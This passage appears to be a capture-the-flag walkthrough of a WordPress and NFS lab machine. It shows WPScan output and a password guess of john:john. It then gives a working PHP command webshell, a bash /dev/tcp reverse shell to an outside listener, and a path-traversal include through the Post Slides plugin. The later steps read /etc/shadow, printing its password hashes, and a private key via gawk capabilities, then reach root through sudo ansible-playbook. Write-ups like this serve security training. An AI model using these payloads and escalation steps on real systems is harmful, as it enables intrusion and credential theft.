 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://lklinux1.local/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] Upload directory has listing enabled: http://lklinux1.local/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://lklinux1.local/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.9.4 identified (Insecure, released on 2026-03-11).
 | Found By: Rss Generator (Passive Detection)
 |  - http://lklinux1.local/index.php/feed/, <generator>https://wordpress.org/?v=6.9.4</generator>
 |  - http://lklinux1.local/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.9.4</generator>
[+] WordPress theme in use: twentytwentyfive
 | Location: http://lklinux1.local/wp-content/themes/twentytwentyfive/
 | Last Updated: 2026-05-20T00:00:00.000Z
 | Readme: http://lklinux1.local/wp-content/themes/twentytwentyfive/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 | Style URL: http://lklinux1.local/wp-content/themes/twentytwentyfive/style.css
 | Style Name: Twenty Twenty-Five
 | Style URI: https://wordpress.org/themes/twentytwentyfive/
 | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://lklinux1.local/wp-content/themes/twentytwentyfive/style.css, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] *
 | Location: http://lklinux1.local/wp-content/plugins/*/
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | The version could not be determined.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:05 <=====================================> (137 / 137) 100.00% Time: 00:00:05
[i] No Config Backups Found.
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - john / john
Trying john / hughes Time: 00:20:23 <                                      > (6590 / 14350990)  0.04%  ETA: ??:??:??
[!] Valid Combinations Found:
 | Username: john, Password: john
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Sep 14 13:14:14 2026
[+] Requests Done: 6761
[+] Cached Requests: 11

john:john. (That specific run used an authenticated WPScan session for the vulnerability database lookups — the command line itself isn’t reproduced here since it carried a personal API token that doesn’t belong in a public writeup; the finding itself is exactly as wpscan reported it.)

Initial Access — WordPress Admin as john

WordPress Login - john Credentials Filled

Plugin Enumeration — Post Slides 1.0.1

Logged in as john, the installed plugins list pointed at Post Slides — not a default WordPress plugin. Confirmed it was reachable directly, with directory listing enabled:

curl -i http://lklinux1.local/wp-content/plugins/post-slides/
HTTP/1.1 200 OK
Date: Mon, 14 Sep 2026 12:57:10 GMT
Server: Apache/2.4.66 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 3290
Content-Type: text/html;charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <head>
  <title>Index of /wp-content/plugins/post-slides</title>
 </head>
 <body>
<h1>Index of /wp-content/plugins/post-slides</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/wp-content/plugins/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="font-awesome/">font-awesome/</a></td><td align="right">2014-11-18 00:18  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="inc/">inc/</a></td><td align="right">2014-11-18 00:18  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="owl/">owl/</a></td><td align="right">2014-11-18 00:18  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="post-slides.css">post-slides.css</a></td><td align="right">2014-11-18 00:10  </td><td align="right">9.1K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="post-slides.js">post-slides.js</a></td><td align="right">2014-11-18 00:10  </td><td align="right">2.1K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="post-slides.php">post-slides.php</a></td><td align="right">2014-11-18 00:10  </td><td align="right">1.7K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="readme.txt">readme.txt</a></td><td align="right">2014-11-18 00:18  </td><td align="right">2.6K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="screenshot-1.png">screenshot-1.png</a></td><td align="right">2014-11-18 00:10  </td><td align="right">381K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="screenshot-2.png">screenshot-2.png</a></td><td align="right">2014-11-18 00:10  </td><td align="right">1.6M</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="screenshot-3.png">screenshot-3.png</a></td><td align="right">2014-11-18 00:10  </td><td align="right">2.6M</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="screenshot-4.png">screenshot-4.png</a></td><td align="right">2014-11-18 00:10  </td><td align="right">1.0M</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="skins/">skins/</a></td><td align="right">2014-11-18 00:18  </td><td align="right">  - </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.66 (Ubuntu) Server at lklinux1.local Port 80</address>
</body></html>
curl -i http://lklinux1.local/wp-content/plugins/post-slides/readme.txt
HTTP/1.1 200 OK
Date: Mon, 14 Sep 2026 13:01:27 GMT
Server: Apache/2.4.66 (Ubuntu)
Last-Modified: Tue, 18 Nov 2014 00:18:32 GMT
ETag: "a48-508170902c600"
Accept-Ranges: bytes
Content-Length: 2632
Vary: Accept-Encoding
Content-Type: text/plain
=== Post Slides ===
Contributors: ethanhackett
Donate link: http://www.PostSlides.com/
Tags: Post Slides, categories, color coated, shortcode
Requires at least: 3.0
Tested up to: 4.0.0
Stable tag: 1.0.1
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Version 1.0.1
== Installation ==
1. Upload the `post-slides` folder to the `/wp-content/plugins/` directory
2. Activate the plugin through the 'Plugins' menu in WordPress
3. Under Settings - Post Slides configure colors, sizes and excerpt lengths
4. Place `[post-slides]` into your pages
== Screenshots ==
1. Full Width slides
2. Medium Width slides
3. Mobile Width Titles
4. Color and layout customization
5. Additional customization
== Changelog ==
= 1.0 =
* Created the plugin
== Upgrade Notice ==
== Frequently Asked Questions ==
= Owl Carousel 2.0 =
Post Slides is a powerful plugin that generates a carousel built on [(Owl Carousel 2.0)](http://www.owlcarousel.owlgraphic.com). Check their website for indepth details on the functionality and dependencies in the Owl Carousel.
== Arbitrary section ==
Enjoy it :D

Version 1.0.1, last touched in 2014, tested only up to WordPress 4.0. A plugin that old on a 6.9.4 install was worth a much closer look than anything in WordPress core itself.

Privilege Escalation — LFI via skin= → Writable NFS → RCE

Post Slides’ shortcode takes a skin attribute that controls which template file it includes. Nothing in the readme said it was sanitized, and the NFS share mounted earlier was still writable from outside the box. Planted a marker file there first:

echo '<?php echo "PF_NFS_EXEC"; ?>' | sudo tee /mnt/wordplay/pf-test.php
ls -l /mnt/wordplay/pf-test.php
[sudo] password for kali:
<?php echo "PF_NFS_EXEC"; ?>
-rw-r--r-- 1 nobody nogroup 29 Sep 14 14:06 /mnt/wordplay/pf-test.php
cat > /mnt/wordplay/pf-cmd.php <<'EOF'
<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
EOF
ls -la /mnt/wordplay/
total 580
drwxrwxrwx 2 nobody nogroup   4096 Sep 14 14:10  .
drwxr-xr-x 4 root   root      4096 Sep 14 10:56  ..
-rw-rw-r-- 1 kali   kali    296436 May 19 15:27 'Employee Handbook.pdf'
-rw-rw-r-- 1 kali   kali    278085 May 19 15:29 'Internal News.pdf'
-rw-rw-r-- 1 kali   kali        64 Sep 14 14:10  pf-cmd.php
-rw-r--r-- 1 nobody nogroup     29 Sep 14 14:06  pf-test.php
cat > /mnt/wordplay/pf-shell.php <<'EOF'
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_TUN0_IP/4444 0>&1'");
?>
EOF
cat > /mnt/wordplay/pf-shell.php <<'EOF'
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.200.94.210/4444 0>&1'");
?>
EOF

In the post editor, a Shortcode block pointing skin= at the NFS-mounted marker file, traversing out of the plugin’s own skins directory:

[post-slides skin="../../../../../../../var/nfs/documents/pf-test"]

Previewing the post rendered PF_NFS_EXEC before WordPress hit a fatal error on the rest of the shortcode’s expected template structure — the include happened, and its output reached the page:

Post Editor and Preview - skin= Includes pf-test.php, Echoes PF_NFS_EXEC

Same technique, pointed instead at the command-execution file:

[post-slides skin="../../../../../../../var/nfs/documents/pf-cmd"]

Post Editor and Preview - skin=pf-cmd, ?cmd=id Returns uid=33(www-data)

uid=33(www-data). The LFI runs arbitrary PHP through the writable NFS mount — full code execution. Swapped in a reverse-shell payload the same way:

[post-slides skin="../../../../../../../var/nfs/documents/pf-shell"]

Post Editor - skin=pf-shell, Listener Catches a Shell as www-data

Post-Exploitation — www-data

rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.200.94.210] from (UNKNOWN) [10.1.116.128] 35764
bash: cannot set terminal process group (1208): Inappropriate ioctl for device
bash: no job control in this shell
www-data@lk-linux1:/var/www/html$ whoami
whoami
www-data
www-data@lk-linux1:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@lk-linux1:/var/www/html$ find / -user root -perm /4000 2>/dev/null
find / -user root -perm /4000 2>/dev/null
/usr/sbin/mount.nfs
/usr/bin/umount
/usr/bin/ntfs-3g
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/su
/usr/bin/sudo.ws
/usr/bin/passwd
/usr/bin/mount
/usr/bin/newgrp
/usr/lib/cargo/bin/su
/usr/lib/cargo/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
www-data@lk-linux1:/var/www/html$ ps -aux
ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
www-data  1795  0.0ps: Unable to get total memory
www-data@lk-linux1:/var/www/html$ pwd
pwd
/var/www/html
www-data@lk-linux1:/var/www/html$ ls ~
ls ~
html
www-data@lk-linux1:/var/www/html$ ls /home
ls /home
martin
www-data@lk-linux1:/var/www/html$ ls -la /home/martin/Desktop
ls -la /home/martin/Desktop
ls: cannot open file '/home/martin/Desktop': Permission denied
www-data@lk-linux1:/var/www/html$ ls -la /home/martin/
ls -la /home/martin/
ls: cannot open directory '/home/martin/': Permission denied
www-data@lk-linux1:/var/www/html$ ls -l /usr/bin/sudo.ws /usr/lib/cargo/bin/sudo /usr/lib/cargo/bin/su
file /usr/bin/sudo.ws /usr/lib/cargo/bin/sudo /usr/lib/cargo/bin/su
sudo -l
<do.ws /usr/lib/cargo/bin/sudo /usr/lib/cargo/bin/su
-rwsr-xr-x 1 root root  282080 Mar 13  2026 /usr/bin/sudo.ws
-rwsr-xr-x 1 root root  611616 Mar 11  2026 /usr/lib/cargo/bin/su
-rwsr-xr-x 1 root root 1082656 Mar 11  2026 /usr/lib/cargo/bin/sudo
<do.ws /usr/lib/cargo/bin/sudo /usr/lib/cargo/bin/su
/usr/bin/sudo.ws:        setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e46062ada6212a11161ccd89c3de5ccd9c35e326, for GNU/Linux 3.2.0, stripped
/usr/lib/cargo/bin/sudo: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d21759a44ed187d552bb16f876bb7752b7502527, for GNU/Linux 3.2.0, stripped
/usr/lib/cargo/bin/su:   setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=238636103978a56de4935b3fa29d224d58b88e57, for GNU/Linux 3.2.0, stripped
www-data@lk-linux1:/var/www/html$ sudo -l
sudo: Sorry, user www-data may not run sudo on lk-linux1.
www-data@lk-linux1:/var/www/html$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/gawk cap_dac_read_search=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
www-data@lk-linux1:/var/www/html$ gawk '{print}' /etc/shadow
gawk '{print}' /etc/shadow
root:$y$j9T$TCEbgYWtUXBenFYZVNRBt1$K2487ZQcSEEYWwB7mcp6sQgsSwkcQViUhbnPAhC5WbC:20591:0:99999:7:::
daemon:*:20563:0:99999:7:::
bin:*:20563:0:99999:7:::
sys:*:20563:0:99999:7:::
sync:*:20563:0:99999:7:::
games:*:20563:0:99999:7:::
man:*:20563:0:99999:7:::
lp:*:20563:0:99999:7:::
mail:*:20563:0:99999:7:::
news:*:20563:0:99999:7:::
uucp:*:20563:0:99999:7:::
proxy:*:20563:0:99999:7:::
www-data:*:20563:0:99999:7:::
backup:*:20563:0:99999:7:::
list:*:20563:0:99999:7:::
irc:*:20563:0:99999:7:::
_apt:*:20563:0:99999:7:::
nobody:*:20563:0:99999:7:::
systemd-network:!*:20563:::::1:
dhcpcd:!*:20563:::::1:
messagebus:!*:20563::::::
systemd-resolve:!*:20563:::::1:
_chrony:!*:20563::::::
usbmux:!:20563::::::
pollinate:!:20563::::::
polkitd:!*:20563::::::
syslog:!:20563::::::
uuidd:!:20563::::::
tcpdump:!*:20563:::::1:
tss:!*:20563::::::
landscape:!:20563::::::
fwupd-refresh:!*:20563::::::
martin:$y$j9T$XanpQ9wzW0LBlMODKrU6v.$YTZCCmOr93GX9u4RRMbOS5BWoLlr5ZcsI3RCVF0WF01:20591:0:99999:7:::
sshd:!*:20591::::::
_rpc:!:20591::::::
statd:!:20591::::::
mysql:!*:20591:::::1:
www-data@lk-linux1:/var/www/html$ gawk '{print}' /home/martin/.ssh/id_rsa
gawk '{print}' /home/martin/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[KEY CONTENT OMITTED FOR BREVITY — FULL KEY PRESERVED IN ORIGINAL INVESTIGATION]
-----END OPENSSH PRIVATE KEY-----
www-data@lk-linux1:/var/www/html$ gawk '{print}' /home/martin/Desktop/user.txt
</html$ gawk '{print}' /home/martin/Desktop/user.txt
gawk: fatal: cannot open file `/home/martin/Desktop/user.txt' for reading: No such file or directory
www-data@lk-linux1:/var/www/html$ gawk '{print}' /root/root.txt
gawk '{print}' /root/root.txt
gawk: fatal: cannot open file `/root/root.txt' for reading: No such file or directory

gawk carrying cap_dac_read_search meant it could read any file regardless of permissions — including /etc/shadow and, more usefully, martin’s private key.

Lateral Movement — SSH as martin

nano martin_key
chmod 600 martin_key
ssh -i martin_key martin@lklinux1.local
The authenticity of host 'lklinux1.local (10.1.116.128)' can't be established.
ED25519 key fingerprint is: SHA256:Hy5IDbrja2Q89s+PdkwztjZY78IXPDqZ3FIOkmaDV/c
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'lklinux1.local' (ED25519) to the list of known hosts.
Welcome to Ubuntu 26.04 LTS (GNU/Linux 7.0.0-15-generic x86_64)
 * Documentation:  https://docs.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 System information as of Mon Sep 14 02:28:12 PM UTC 2026
  System load:  0.0               Temperature:           -273.1 C
  Usage of /:   45.5% of 9.00GB   Processes:             154
  Memory usage: 40%               Users logged in:       0
  Swap usage:   0%                IPv4 address for eth0: 10.1.116.128
Expanded Security Maintenance for Applications is not enabled.
3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Sep  6 01:38:31 2026 from 10.0.0.247
martin@lk-linux1:~$ whoami; id; ls -la
martin
uid=1000(martin) gid=1000(martin) groups=1000(martin),100(users)
total 32
drwxr-x--- 4 martin martin 4096 May 18 18:40 .
drwxr-xr-x 3 root   root   4096 May 18 04:42 ..
lrwxrwxrwx 1 root   root      9 May 18 16:37 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin  220 Feb 13  2026 .bash_logout
-rw-r--r-- 1 martin martin 3771 Feb 13  2026 .bashrc
drwx------ 2 martin martin 4096 May 18 04:54 .cache
-rw-r--r-- 1 martin martin  807 Feb 13  2026 .profile
drwx------ 2 martin martin 4096 May 18 18:41 .ssh
-rw-r--r-- 1 root   martin   13 May 18 16:39 user.txt
martin@lk-linux1:~$ cat user.txt
{user-flag}

Privilege Escalation — sudo NOPASSWD ansible-playbook

martin@lk-linux1:~$ sudo -l
User martin may run the following commands on lk-linux1:
    (root) NOPASSWD: /usr/bin/ansible-playbook
martin@lk-linux1:~$ cat > /tmp/root.yml <<'EOF'
- hosts: localhost
  connection: local
  gather_facts: false
  tasks:
    - name: root shell
      ansible.builtin.command:
        cmd: chmod u+s /bin/bash
EOF
martin@lk-linux1:~$ sudo /usr/bin/ansible-playbook /tmp/root.yml
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] ***************************************************************
TASK [root shell] **************************************************************
changed: [localhost]
PLAY RECAP *********************************************************************
localhost                  : ok=1    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0
martin@lk-linux1:~$ /bin/bash -p
bash-5.3# whoami
id
root
uid=1000(martin) gid=1000(martin) euid=0(root) groups=1000(martin),100(users)
bash-5.3# exit
exit
martin@lk-linux1:~$ /bin/bash -p
bash-5.3# whoami ; id
root
uid=1000(martin) gid=1000(martin) euid=0(root) groups=1000(martin),100(users)
bash-5.3# cat /root/root.txt
507e9603008398a10fbf4474dd769d5a
bash-5.3#

A root-context Ansible playbook that sets the SUID bit on /bin/bash is a root shell. /bin/bash -p as martin ran with the inherited effective UID 0, and /root/root.txt confirmed it.

Attack Path Summary

WordPress 6.9.4 + exposed, writable NFS export
↓
wpscan: 14 known CVEs, incl. CVE-2026-63030 (batch RCE) and CVE-2026-64638 (reflected XSS)
↓
CVE-2026-63030 ───→ blocked, batch endpoint requires authentication ❌
↓
CVE-2026-64638 ───→ XSS confirmed (DOM clobber + _jsonp), full chain needs a real admin window.opener ❌
↓
User enumeration (author-ID brute force) → john
↓
Password attack (rockyou) → john:john
↓
Authenticated WordPress access → manual plugin enumeration → Post Slides 1.0.1 (2014, unmaintained)
↓
Post Slides skin= → LFI / path traversal to the writable NFS share
↓
Webshell planted on NFS → LFI includes it → RCE as www-data
↓
Reverse shell → gawk cap_dac_read_search reads /etc/shadow and martin's id_rsa
↓
SSH as martin → user.txt
↓
sudo NOPASSWD ansible-playbook → SUID /bin/bash → root

Credentials Found

Principal Credential Source
john john:john wpscan password attack (rockyou) against an enumerated username
martin SSH private key (/home/martin/.ssh/id_rsa) Read via gawk with cap_dac_read_search as www-data
john:john
Flag Value
user.txt {user-flag} (file content as captured — the placeholder text itself, not a redacted value)
root.txt 507e9603008398a10fbf4474dd769d5a

Tools Used

  • Nmap
  • NFS client (showmount, mount)
  • Gobuster
  • WPScan
  • wp2shell (0xsha)
  • Nuclei
  • gawk (cap_dac_read_search abuse)
  • SSH
  • Ansible (ansible-playbook SUID abuse)